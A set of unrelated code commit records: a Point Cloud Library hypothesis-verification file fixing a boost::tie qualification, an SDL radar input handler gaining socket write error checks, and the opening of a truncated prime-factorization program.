boost::shared_ptr <RecognitionModel> recog_model (new RecognitionModel);\n \/\/ voxelize model cloud\n recog_model->cloud_.reset (new pcl::PointCloud<ModelT>);\n recog_model->complete_cloud_.reset (new pcl::PointCloud<ModelT>);\n recog_model->id_ = static_cast<int> (m);\n\n pcl::VoxelGrid<ModelT> voxel_grid;\n voxel_grid.setInputCloud (visible_models_[m]);\n voxel_grid.setLeafSize (resolution_, resolution_, resolution_);\n voxel_grid.filter (*(recog_model->cloud_));\n\n pcl::VoxelGrid<ModelT> voxel_grid_complete;\n voxel_grid_complete.setInputCloud (complete_models_[m]);\n voxel_grid_complete.setLeafSize (resolution_, resolution_, resolution_);\n voxel_grid_complete.filter (*(recog_model->complete_cloud_));\n\n std::vector<int> explained_indices;\n std::vector<int> outliers;\n std::vector<int> nn_indices;\n std::vector<float> nn_distances;\n\n for (size_t i = 0; i < recog_model->cloud_->points.size (); i++)\n {\n if (!scene_downsampled_tree_->radiusSearch (recog_model->cloud_->points[i], inliers_threshold_, nn_indices, nn_distances,\n std::numeric_limits<int>::max ()))\n {\n outliers.push_back (static_cast<int> (i));\n }\n else\n {\n for (size_t k = 0; k < nn_distances.size (); k++)\n {\n explained_indices.push_back (nn_indices[k]); \/\/nn_indices[k] points to the scene\n }\n }\n }\n\n std::sort (explained_indices.begin (), explained_indices.end ());\n explained_indices.erase (std::unique (explained_indices.begin (), explained_indices.end ()), explained_indices.end ());\n\n recog_model->bad_information_ = static_cast<int> (outliers.size ());\n\n if ((static_cast<float> (recog_model->bad_information_) \/ static_cast<float> (recog_model->complete_cloud_->points.size ()))\n <= penalty_threshold_ && (static_cast<float> (explained_indices.size ())\n \/ static_cast<float> (recog_model->complete_cloud_->points.size ())) >= support_threshold_)\n {\n recog_model->explained_ = explained_indices;\n recognition_models_.push_back (recog_model);\n\n \/\/ update explained_by_RM_, add 1\n for (size_t i = 0; i < explained_indices.size (); i++)\n {\n explained_by_RM_[explained_indices[i]]++;\n points_explained_by_rm_[explained_indices[i]].push_back (recog_model);\n }\n }\n else\n {\n mask_[m] = false; \/\/ the model didnt survive the sequential check...\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::nonMaximaSuppresion ()\n{\n \/\/ iterate over all vertices of the graph and check if they have a better neighbour, then remove that vertex\n typedef typename boost::graph_traits<Graph>::vertex_iterator VertexIterator;\n VertexIterator vi, vi_end, next;\n boost::tie (vi, vi_end) = boost::vertices (conflict_graph_);\n\n for (next = vi; next != vi_end; next++)\n {\n const typename Graph::vertex_descriptor v = boost::vertex (*next, conflict_graph_);\n typename boost::graph_traits<Graph>::adjacency_iterator ai;\n typename boost::graph_traits<Graph>::adjacency_iterator ai_end;\n\n boost::shared_ptr<RecognitionModel> current = static_cast<boost::shared_ptr<RecognitionModel> > (graph_id_model_map_[int (v)]);\n\n bool a_better_one = false;\n for (tie (ai, ai_end) = boost::adjacent_vertices (v, conflict_graph_); (ai != ai_end) && !a_better_one; ++ai)\n {\n boost::shared_ptr<RecognitionModel> neighbour = static_cast<boost::shared_ptr<RecognitionModel> > (graph_id_model_map_[int (*ai)]);\n if (neighbour->explained_.size () >= current->explained_.size () && mask_[neighbour->id_])\n {\n a_better_one = true;\n }\n }\n\n if (a_better_one)\n {\n mask_[current->id_] = false;\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::buildConflictGraph ()\n{\n \/\/ create vertices for the graph\n for (size_t i = 0; i < (recognition_models_.size ()); i++)\n {\n const typename Graph::vertex_descriptor v = boost::add_vertex (recognition_models_[i], conflict_graph_);\n graph_id_model_map_[int (v)] = static_cast<boost::shared_ptr<RecognitionModel> > (recognition_models_[i]);\n }\n\n \/\/ iterate over the remaining models and check for each one if there is a conflict with another one\n for (size_t i = 0; i < recognition_models_.size (); i++)\n {\n for (size_t j = i; j < recognition_models_.size (); j++)\n {\n if (i != j)\n {\n float n_conflicts = 0.f;\n \/\/ count scene points explained by both models\n for (size_t k = 0; k < explained_by_RM_.size (); k++)\n {\n if (explained_by_RM_[k] > 1)\n {\n \/\/ this point could be a conflict\n bool i_found = false;\n bool j_found = false;\n bool both_found = false;\n for (size_t kk = 0; (kk < points_explained_by_rm_[k].size ()) && !both_found; kk++)\n {\n if (points_explained_by_rm_[k][kk]->id_ == recognition_models_[i]->id_)\n i_found = true;\n\n if (points_explained_by_rm_[k][kk]->id_ == recognition_models_[j]->id_)\n j_found = true;\n\n if (i_found && j_found)\n both_found = true;\n }\n\n if (both_found)\n n_conflicts += 1.f;\n }\n }\n\n \/\/ check if number of points is big enough to create a conflict\n bool add_conflict = false;\n add_conflict = ((n_conflicts \/ static_cast<float> (recognition_models_[i]->complete_cloud_->points.size ())) > conflict_threshold_size_)\n || ((n_conflicts \/ static_cast<float> (recognition_models_[j]->complete_cloud_->points.size ())) > conflict_threshold_size_);\n\n if (add_conflict)\n {\n boost::add_edge (i, j, conflict_graph_);\n }\n }\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::verify ()\n{\n initialize();\n buildConflictGraph ();\n nonMaximaSuppresion ();\n}\n\n<commit_msg>Use fully qualified boost::tie issue reported for boost 1.49 and Windows<commit_after>\/*\n * Software License Agreement (BSD License)\n *\n * Point Cloud Library (PCL) - www.pointclouds.org\n * Copyright (c) 2010-2011, Willow Garage, Inc.\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n * * Neither the name of Willow Garage, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <pcl\/recognition\/hv\/hv_papazov.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::initialize ()\n{\n \/\/ initialize mask...\n mask_.resize (complete_models_.size ());\n for (size_t i = 0; i < complete_models_.size (); i++)\n mask_[i] = true;\n\n \/\/ initalize model\n for (size_t m = 0; m < complete_models_.size (); m++)\n {\n boost::shared_ptr <RecognitionModel> recog_model (new RecognitionModel);\n \/\/ voxelize model cloud\n recog_model->cloud_.reset (new pcl::PointCloud<ModelT>);\n recog_model->complete_cloud_.reset (new pcl::PointCloud<ModelT>);\n recog_model->id_ = static_cast<int> (m);\n\n pcl::VoxelGrid<ModelT> voxel_grid;\n voxel_grid.setInputCloud (visible_models_[m]);\n voxel_grid.setLeafSize (resolution_, resolution_, resolution_);\n voxel_grid.filter (*(recog_model->cloud_));\n\n pcl::VoxelGrid<ModelT> voxel_grid_complete;\n voxel_grid_complete.setInputCloud (complete_models_[m]);\n voxel_grid_complete.setLeafSize (resolution_, resolution_, resolution_);\n voxel_grid_complete.filter (*(recog_model->complete_cloud_));\n\n std::vector<int> explained_indices;\n std::vector<int> outliers;\n std::vector<int> nn_indices;\n std::vector<float> nn_distances;\n\n for (size_t i = 0; i < recog_model->cloud_->points.size (); i++)\n {\n if (!scene_downsampled_tree_->radiusSearch (recog_model->cloud_->points[i], inliers_threshold_, nn_indices, nn_distances,\n std::numeric_limits<int>::max ()))\n {\n outliers.push_back (static_cast<int> (i));\n }\n else\n {\n for (size_t k = 0; k < nn_distances.size (); k++)\n {\n explained_indices.push_back (nn_indices[k]); \/\/nn_indices[k] points to the scene\n }\n }\n }\n\n std::sort (explained_indices.begin (), explained_indices.end ());\n explained_indices.erase (std::unique (explained_indices.begin (), explained_indices.end ()), explained_indices.end ());\n\n recog_model->bad_information_ = static_cast<int> (outliers.size ());\n\n if ((static_cast<float> (recog_model->bad_information_) \/ static_cast<float> (recog_model->complete_cloud_->points.size ()))\n <= penalty_threshold_ && (static_cast<float> (explained_indices.size ())\n \/ static_cast<float> (recog_model->complete_cloud_->points.size ())) >= support_threshold_)\n {\n recog_model->explained_ = explained_indices;\n recognition_models_.push_back (recog_model);\n\n \/\/ update explained_by_RM_, add 1\n for (size_t i = 0; i < explained_indices.size (); i++)\n {\n explained_by_RM_[explained_indices[i]]++;\n points_explained_by_rm_[explained_indices[i]].push_back (recog_model);\n }\n }\n else\n {\n mask_[m] = false; \/\/ the model didnt survive the sequential check...\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::nonMaximaSuppresion ()\n{\n \/\/ iterate over all vertices of the graph and check if they have a better neighbour, then remove that vertex\n typedef typename boost::graph_traits<Graph>::vertex_iterator VertexIterator;\n VertexIterator vi, vi_end, next;\n boost::tie (vi, vi_end) = boost::vertices (conflict_graph_);\n\n for (next = vi; next != vi_end; next++)\n {\n const typename Graph::vertex_descriptor v = boost::vertex (*next, conflict_graph_);\n typename boost::graph_traits<Graph>::adjacency_iterator ai;\n typename boost::graph_traits<Graph>::adjacency_iterator ai_end;\n\n boost::shared_ptr<RecognitionModel> current = static_cast<boost::shared_ptr<RecognitionModel> > (graph_id_model_map_[int (v)]);\n\n bool a_better_one = false;\n for (boost::tie (ai, ai_end) = boost::adjacent_vertices (v, conflict_graph_); (ai != ai_end) && !a_better_one; ++ai)\n {\n boost::shared_ptr<RecognitionModel> neighbour = static_cast<boost::shared_ptr<RecognitionModel> > (graph_id_model_map_[int (*ai)]);\n if (neighbour->explained_.size () >= current->explained_.size () && mask_[neighbour->id_])\n {\n a_better_one = true;\n }\n }\n\n if (a_better_one)\n {\n mask_[current->id_] = false;\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::buildConflictGraph ()\n{\n \/\/ create vertices for the graph\n for (size_t i = 0; i < (recognition_models_.size ()); i++)\n {\n const typename Graph::vertex_descriptor v = boost::add_vertex (recognition_models_[i], conflict_graph_);\n graph_id_model_map_[int (v)] = static_cast<boost::shared_ptr<RecognitionModel> > (recognition_models_[i]);\n }\n\n \/\/ iterate over the remaining models and check for each one if there is a conflict with another one\n for (size_t i = 0; i < recognition_models_.size (); i++)\n {\n for (size_t j = i; j < recognition_models_.size (); j++)\n {\n if (i != j)\n {\n float n_conflicts = 0.f;\n \/\/ count scene points explained by both models\n for (size_t k = 0; k < explained_by_RM_.size (); k++)\n {\n if (explained_by_RM_[k] > 1)\n {\n \/\/ this point could be a conflict\n bool i_found = false;\n bool j_found = false;\n bool both_found = false;\n for (size_t kk = 0; (kk < points_explained_by_rm_[k].size ()) && !both_found; kk++)\n {\n if (points_explained_by_rm_[k][kk]->id_ == recognition_models_[i]->id_)\n i_found = true;\n\n if (points_explained_by_rm_[k][kk]->id_ == recognition_models_[j]->id_)\n j_found = true;\n\n if (i_found && j_found)\n both_found = true;\n }\n\n if (both_found)\n n_conflicts += 1.f;\n }\n }\n\n \/\/ check if number of points is big enough to create a conflict\n bool add_conflict = false;\n add_conflict = ((n_conflicts \/ static_cast<float> (recognition_models_[i]->complete_cloud_->points.size ())) > conflict_threshold_size_)\n || ((n_conflicts \/ static_cast<float> (recognition_models_[j]->complete_cloud_->points.size ())) > conflict_threshold_size_);\n\n if (add_conflict)\n {\n boost::add_edge (i, j, conflict_graph_);\n }\n }\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate<typename ModelT, typename SceneT> void\npcl::PapazovHV<ModelT, SceneT>::verify ()\n{\n initialize();\n buildConflictGraph ();\n nonMaximaSuppresion ();\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"inputevent.h\"\n#include <cassert>\n#include <iostream>\n#include <string>\n#include <sstream>\n\nextern \"C\" {\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/select.h>\n#include <fcntl.h>\n\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <err.h>\n}\n\nInputEvent::InputEvent()\n : eventId(SDL_RegisterEvents(1)),\n mutex(SDL_CreateMutex())\n{\n assert(eventId >= 0);\n assert(mutex);\n}\n\nInputEvent::~InputEvent()\n{\n}\n\nvoid InputEvent::pushEvent(const Input &input) {\n \/\/https:\/\/wiki.libsdl.org\/SDL_UserEvent\n SDL_Event event;\n SDL_zero(event);\n event.type = eventId;\n event.user.code = 0;\n event.user.data1 = new Input(input);\n event.user.data2 = nullptr;\n SDL_PushEvent(&event);\n}\n\nvoid InputEvent::handleEvent(const SDL_Event &event, Radar& radar) {\n if (event.type == eventId) {\n Input* input = (Input*) event.user.data1;\n radar.addDistance(*input);\n delete input;\n }\n if (event.type == SDL_KEYDOWN) {\n SDL_Scancode code = event.key.keysym.scancode;\n \/\/https:\/\/wiki.libsdl.org\/SDLScancodeLookup\n if (code >= 4 && code <= 39) {\n lock();\n addKey(SDL_GetScancodeName(event.key.keysym.scancode)[0]);\n unlock();\n }\n }\n}\n\nvoid InputEvent::lock() {\n assert(SDL_LockMutex(mutex) == 0);\n}\n\nvoid InputEvent::unlock() {\n assert(SDL_UnlockMutex(mutex) == 0);\n}\n\nbool InputEvent::hasKey() {\n lock();\n if (keys.size()) {\n return true;\n }\n else {\n unlock();\n return false;\n }\n}\n\nvoid InputEvent::clear() {\n keys.clear();\n}\n\nvoid InputEvent::addKey(char c) {\n keys.push_back(c);\n}\n\nint demoThread(void* data) {\n InputEvent* ie = (InputEvent*) data;\n\n for (unsigned i = 0; i < 450; ++i) {\n ie->pushEvent(Input(i % 360, 0.8));\n SDL_Delay(30);\n }\n\n return 0;\n}\n\ntypedef std::pair<InputEvent*, const char*> fileType;\nint fileThread(void* data) {\n fileType* in = (fileType*) data;\n\n InputEvent* ie = in->first;\n const char* path = in->second;\n\n int pipe = open(path, O_RDONLY, O_NONBLOCK, 0);\n\n if (pipe == -1) {\n perror(\"pipe\");\n return 0;\n }\n\n fd_set fds;\n FD_ZERO(&fds);\n\n while (true) {\n char input[20];\n\n \/\/Wait for input\n FD_SET(pipe, &fds);\n\n int s = select(pipe + 1, &fds, NULL, NULL, NULL);\n if (s < 0) {\n perror(\"select\");\n return 0;\n }\n\n int r = read(pipe, input, 20);\n if (r > 0) {\n std::string s(input);\n std::stringstream ss(s);\n int angle;\n float distance;\n\n ss >> angle >> distance;\n if (ss.good()) {\n ie->pushEvent(Input(angle, distance));\n }\n }\n if (r < 0) {\n perror(\"read\");\n return 0;\n }\n }\n\n return 0;\n}\n\ntypedef std::pair<InputEvent*, const char**> socketType;\nint socketThread(void* data) {\n socketType* in = (socketType*) data;\n\n InputEvent* ie = in->first;\n const char** argv = in->second;\n\n \/\/getaddrinfo(3)\n struct addrinfo hints, *res, *res0;\n int error;\n int sock;\n const char *cause = NULL;\n\n memset(&hints, 0, sizeof(hints));\n hints.ai_family = PF_UNSPEC;\n hints.ai_socktype = SOCK_STREAM;\n error = getaddrinfo(argv[1], argv[2], &hints, &res0);\n if (error) {\n errx(1, \"%s\", gai_strerror(error));\n \/*NOTREACHED*\/\n }\n sock = -1;\n for (res = res0; res; res = res->ai_next) {\n sock = socket(res->ai_family, res->ai_socktype,\n res->ai_protocol);\n if (sock < 0) {\n cause = \"socket\";\n continue;\n }\n\n if (connect(sock, res->ai_addr, res->ai_addrlen) < 0) {\n cause = \"connect\";\n close(sock);\n sock = -1;\n continue;\n }\n\n break; \/* okay we got one *\/\n }\n if (sock < 0) {\n err(1, \"%s\", cause);\n \/*NOTREACHED*\/\n }\n freeaddrinfo(res0);\n\n std::string str;\n bool lastValid = false;\n unsigned nums = 0;\n\n while (true) {\n char input[4096] = \"\";\n\n fd_set fds;\n timeval tv;\n \/\/Wait for input\n FD_ZERO(&fds);\n FD_SET(sock, &fds);\n\n \/\/Set waiting time of 10us\n tv.tv_sec = 0;\n tv.tv_usec = 10;\n\n int s = select(sock + 1, &fds, NULL, NULL, &tv);\n if (s < 0) {\n perror(\"select\");\n return 0;\n }\n if (s == 0) {\n if (ie->hasKey()) {\n std::cout << \"SEND: \" << ie->keys << std::endl;\n write(sock, ie->keys.c_str(), ie->keys.length());\n ie->clear();\n ie->unlock();\n }\n }\n\n if (FD_ISSET(sock, &fds)) {\n int r = read(sock, input, 4096);\n if (r > 0) {\n for (unsigned i = 0; i < r; ++i) {\n char c = input[i];\n if ( ('0' <= c && c <= '9') || c == '.') {\n str.push_back(c);\n lastValid = true;\n }\n if (lastValid && (c == ' ' || c == '\\r' || c == '\\n')) {\n str.push_back(' ');\n lastValid = false;\n nums ++;\n }\n }\n\n while (nums >= 2) {\n int angle;\n float distance;\n\n std::stringstream ss(str);\n ss >> angle >> distance;\n if (ss.good()) {\n \/\/std::cout << \"Input: \" << angle << \" \" << distance << std::endl;\n ie->pushEvent(Input(angle, distance));\n }\n std::string::size_type first = str.find(' ') + 1;\n str = str.substr(str.find(' ', first) + 1);\n nums -= 2;\n }\n }\n if (r < 0) {\n perror(\"read\");\n return 0;\n }\n }\n }\n close(sock);\n\n return 0;\n}\n\nSDL_Thread* InputEvent::demo() {\n return SDL_CreateThread(demoThread, \"DemoThread\", this);\n}\n\nSDL_Thread* InputEvent::fileInput(const char *path) {\n return SDL_CreateThread(fileThread, \"FileThread\", new fileType(this, path));\n}\n\nSDL_Thread* InputEvent::socketInput(const char **argv) {\n return SDL_CreateThread(socketThread, \"SocketThread\", new socketType(this, argv));\n}\n<commit_msg>Functioning version.<commit_after>#include \"inputevent.h\"\n#include <cassert>\n#include <iostream>\n#include <string>\n#include <sstream>\n\nextern \"C\" {\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/select.h>\n#include <fcntl.h>\n\n#include <sys\/socket.h>\n#include <netdb.h>\n#include <err.h>\n}\n\nInputEvent::InputEvent()\n : eventId(SDL_RegisterEvents(1)),\n mutex(SDL_CreateMutex())\n{\n assert(eventId >= 0);\n assert(mutex);\n}\n\nInputEvent::~InputEvent()\n{\n}\n\nvoid InputEvent::pushEvent(const Input &input) {\n \/\/https:\/\/wiki.libsdl.org\/SDL_UserEvent\n SDL_Event event;\n SDL_zero(event);\n event.type = eventId;\n event.user.code = 0;\n event.user.data1 = new Input(input);\n event.user.data2 = nullptr;\n SDL_PushEvent(&event);\n}\n\nvoid InputEvent::handleEvent(const SDL_Event &event, Radar& radar) {\n if (event.type == eventId) {\n Input* input = (Input*) event.user.data1;\n radar.addDistance(*input);\n delete input;\n }\n if (event.type == SDL_KEYDOWN) {\n SDL_Scancode code = event.key.keysym.scancode;\n \/\/https:\/\/wiki.libsdl.org\/SDLScancodeLookup\n if (code >= 4 && code <= 39) {\n lock();\n addKey(SDL_GetScancodeName(event.key.keysym.scancode)[0]);\n unlock();\n }\n }\n}\n\nvoid InputEvent::lock() {\n assert(SDL_LockMutex(mutex) == 0);\n}\n\nvoid InputEvent::unlock() {\n assert(SDL_UnlockMutex(mutex) == 0);\n}\n\nbool InputEvent::hasKey() {\n lock();\n if (keys.size()) {\n return true;\n }\n else {\n unlock();\n return false;\n }\n}\n\nvoid InputEvent::clear() {\n keys.clear();\n}\n\nvoid InputEvent::addKey(char c) {\n keys.push_back(c);\n}\n\nint demoThread(void* data) {\n InputEvent* ie = (InputEvent*) data;\n\n for (unsigned i = 0; i < 450; ++i) {\n ie->pushEvent(Input(i % 360, 0.8));\n SDL_Delay(30);\n }\n\n return 0;\n}\n\ntypedef std::pair<InputEvent*, const char*> fileType;\nint fileThread(void* data) {\n fileType* in = (fileType*) data;\n\n InputEvent* ie = in->first;\n const char* path = in->second;\n\n int pipe = open(path, O_RDONLY, O_NONBLOCK, 0);\n\n if (pipe == -1) {\n perror(\"pipe\");\n return 0;\n }\n\n fd_set fds;\n FD_ZERO(&fds);\n\n while (true) {\n char input[20];\n\n \/\/Wait for input\n FD_SET(pipe, &fds);\n\n int s = select(pipe + 1, &fds, NULL, NULL, NULL);\n if (s < 0) {\n perror(\"select\");\n return 0;\n }\n\n int r = read(pipe, input, 20);\n if (r > 0) {\n std::string s(input);\n std::stringstream ss(s);\n int angle;\n float distance;\n\n ss >> angle >> distance;\n if (ss.good()) {\n ie->pushEvent(Input(angle, distance));\n }\n }\n if (r < 0) {\n perror(\"read\");\n return 0;\n }\n }\n\n return 0;\n}\n\ntypedef std::pair<InputEvent*, const char**> socketType;\nint socketThread(void* data) {\n socketType* in = (socketType*) data;\n\n InputEvent* ie = in->first;\n const char** argv = in->second;\n\n \/\/getaddrinfo(3)\n struct addrinfo hints, *res, *res0;\n int error;\n int sock;\n const char *cause = NULL;\n\n memset(&hints, 0, sizeof(hints));\n hints.ai_family = AF_INET;\n hints.ai_socktype = SOCK_STREAM;\n hints.ai_protocol = 6; \/\/TCP\n error = getaddrinfo(argv[1], argv[2], &hints, &res0);\n if (error) {\n errx(1, \"%s\", gai_strerror(error));\n \/*NOTREACHED*\/\n }\n sock = -1;\n for (res = res0; res; res = res->ai_next) {\n sock = socket(res->ai_family, res->ai_socktype,\n res->ai_protocol);\n if (sock < 0) {\n cause = \"socket\";\n continue;\n }\n\n if (connect(sock, res->ai_addr, res->ai_addrlen) < 0) {\n cause = \"connect\";\n close(sock);\n sock = -1;\n continue;\n }\n\n break; \/* okay we got one *\/\n }\n if (sock < 0) {\n err(1, \"%s\", cause);\n \/*NOTREACHED*\/\n }\n freeaddrinfo(res0);\n\n std::string str;\n bool lastValid = false;\n unsigned nums = 0;\n\n while (true) {\n char input[4096] = \"\";\n\n fd_set fds;\n timeval tv;\n \/\/Wait for input\n FD_ZERO(&fds);\n FD_SET(sock, &fds);\n\n \/\/Set waiting time of 10us\n tv.tv_sec = 0;\n tv.tv_usec = 10;\n\n int s = select(sock + 1, &fds, NULL, NULL, &tv);\n if (s < 0) {\n perror(\"select\");\n return 0;\n }\n if (s == 0) {\n if (ie->hasKey()) {\n std::cout << \"SEND: \" << ie->keys << std::endl;\n ie->keys.push_back('\\n');\n s = write(sock, ie->keys.c_str(), ie->keys.length());\n if (s < 0) {\n perror(\"write\");\n return 0;\n }\n ie->clear();\n ie->unlock();\n }\n }\n\n if (FD_ISSET(sock, &fds)) {\n int r = read(sock, input, 4096);\n if (r > 0) {\n for (unsigned i = 0; i < r; ++i) {\n char c = input[i];\n if ( ('0' <= c && c <= '9') || c == '.') {\n str.push_back(c);\n lastValid = true;\n }\n if (lastValid && (c == ' ' || c == '\\r' || c == '\\n')) {\n str.push_back(' ');\n lastValid = false;\n nums ++;\n }\n }\n\n while (nums >= 2) {\n int angle;\n float distance;\n\n std::stringstream ss(str);\n ss >> angle >> distance;\n if (ss.good()) {\n std::cout << \"Input: \" << angle << \" \" << distance << std::endl;\n ie->pushEvent(Input(angle, distance));\n }\n std::string::size_type first = str.find(' ') + 1;\n str = str.substr(str.find(' ', first) + 1);\n nums -= 2;\n }\n }\n if (r < 0) {\n perror(\"read\");\n return 0;\n }\n }\n }\n close(sock);\n\n return 0;\n}\n\nSDL_Thread* InputEvent::demo() {\n return SDL_CreateThread(demoThread, \"DemoThread\", this);\n}\n\nSDL_Thread* InputEvent::fileInput(const char *path) {\n return SDL_CreateThread(fileThread, \"FileThread\", new fileType(this, path));\n}\n\nSDL_Thread* InputEvent::socketInput(const char **argv) {\n return SDL_CreateThread(socketThread, \"SocketThread\", new socketType(this, argv));\n}\n<|endoftext|>"} {"text":"<commit_before>\/*!\r\n \\author Chase Hutchens\r\n\r\n \\brief\r\n This will attempt to locate 2 prime factors of a larger number.\r\n The discrepancy with this method is the prime factors must be in the range\r\n of the 2 <= factor <= ceil(goldenRatio * sqrt(largePrime)). The reason I chose\r\n to scale by the goldenRatio is because I feel the golden ratio and\r\n prime numbers go hand in hand.\r\n\r\n Example Values :\r\n FAST CALCULATION\r\n 25450261 = 5087 * 5003\r\n\r\n LONGER CALCULATION\r\n 3574406403731 = 2750159 * 1299709\r\n*\/\r\n\r\n#include <iostream>\r\n#include <sstream>\r\n#include <string>\r\n#include <ctime>\r\n#include \"PrimeFactorization.h\"\r\n\r\nstatic const double goldenRatio = (1.0 + sqrt(5)) \/ 2.0;\r\n\r\n\/\/ PRIVATE\r\n\r\n\/*!\r\n \\param thePrime\r\n This is our 'F' number that we are trying to prime factor\r\n*\/\r\nvoid EncryptionSequence::PrimeFactor::DeterminePrimes(const ull thePrime)\r\n{\r\n \/\/ initial p'\r\n ull prime = static_cast<ull>(ceil(goldenRatio * sqrt(thePrime)));\r\n\r\n while (prime > 1)\r\n {\r\n \/\/ p'\r\n ull checkPrime = prime;\r\n\r\n \/\/ p''\r\n ull startPrime = static_cast<ull>(ceil(goldenRatio * sqrt(checkPrime)));\r\n \/\/ make sure the startPrime isn't the same as the base prime we're checking against\r\n startPrime = startPrime == prime ? startPrime - 1 : startPrime;\r\n bool validPrime = false;\r\n\r\n \/\/ determine what is prime\r\n while (checkPrime % startPrime != 0)\r\n {\r\n --startPrime;\r\n \/\/ make sure the startPrime isn't the same as the checkPrime we're comparing\r\n \/\/ the startPrime might initially be greater than the checkPrime\r\n \/\/ (kind of messy)\r\n startPrime = startPrime == checkPrime ? startPrime - 1 : startPrime;\r\n\r\n if (startPrime == 1)\r\n {\r\n validPrime = true;\r\n break;\r\n }\r\n }\r\n\r\n if (validPrime || startPrime == 1)\r\n {\r\n this->primes.push_back(checkPrime);\r\n }\r\n\r\n --prime;\r\n\r\n \/\/ a prime is never even, but a prime is 2\r\n while (prime % 2 == 0 && prime != 2)\r\n --prime;\r\n }\r\n\r\n std::cout << \"\\nFound : \" << this->primes.size() << \" Primes That May Make Up \" << thePrime << \"\\n\";\r\n}\r\n\r\n\/\/ END PRIVATE\r\n\r\n\/\/ PUBLIC\r\n\r\nvoid EncryptionSequence::PrimeFactor::FactorPrime(const ull toFactorPrime, const int charLen)\r\n{\r\n std::stringstream greatestDigit;\r\n greatestDigit << toFactorPrime;\r\n\r\n DeterminePrimes(toFactorPrime);\r\n\r\n 